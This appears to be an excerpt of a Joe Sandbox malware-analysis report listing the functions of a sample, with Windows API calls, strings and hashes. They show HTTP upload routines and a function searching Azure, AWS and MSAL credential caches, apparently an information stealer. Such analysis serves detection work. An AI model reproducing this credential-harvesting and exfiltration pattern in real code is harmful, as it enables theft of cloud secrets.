NtQueryInformationProcess, xrefs: 004195BA
Fs, xrefs: 00419551

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0272AF18), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0272AF58,00000000,?,02708D98,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0272AF38,?,0272A230,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405AE6
", xrefs: 00405D25
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405E66
------, xrefs: 00405C5B
------, xrefs: 00405D9C
XA, xrefs: 004060CA

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 5f36e9e73ce153cc41cf622b2e7bfcebb43ab640b2831a3c174a7a86b49270c7
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 5f36e9e73ce153cc41cf622b2e7bfcebb43ab640b2831a3c174a7a86b49270c7
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 074ad33946ec32b396e3c241a091ee0a7b2a18072ee0fe439552559d2aaeac13
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 074ad33946ec32b396e3c241a091ee0a7b2a18072ee0fe439552559d2aaeac13
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02708C48,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: a7889c70eac60347e6e834d444264dc5f6d394f6803fe3859cc9283491fd8566
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: a7889c70eac60347e6e834d444264dc5f6d394f6803fe3859cc9283491fd8566
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02726E78), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

Azure\.azure, xrefs: 004148B3
*.*, xrefs: 00414944
\.IdentityService\, xrefs: 004149B9
Azure\.IdentityService, xrefs: 004149CB
msal.cache, xrefs: 004149D0
*.*, xrefs: 004148B8
\.aws\, xrefs: 0041492D
Azure\.aws, xrefs: 0041493F
\.azure\, xrefs: 004148A1
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0272AF18), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0272AE08), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0272AF38,?,0272A230,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
", xrefs: 00404C42
------, xrefs: 00404CB9
------, xrefs: 00404B78
------, xrefs: 00404A0D

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: 961c191b24368acadf9bf83b7aa0589af5b2443fa944ff986393f56cb97656bc
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: 961c191b24368acadf9bf83b7aa0589af5b2443fa944ff986393f56cb97656bc
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,027062A8,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e12d361e2261f34d2192e19adc63f34644943b2ef32c61e9fba229a21f55e3b0
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: e12d361e2261f34d2192e19adc63f34644943b2ef32c61e9fba229a21f55e3b0
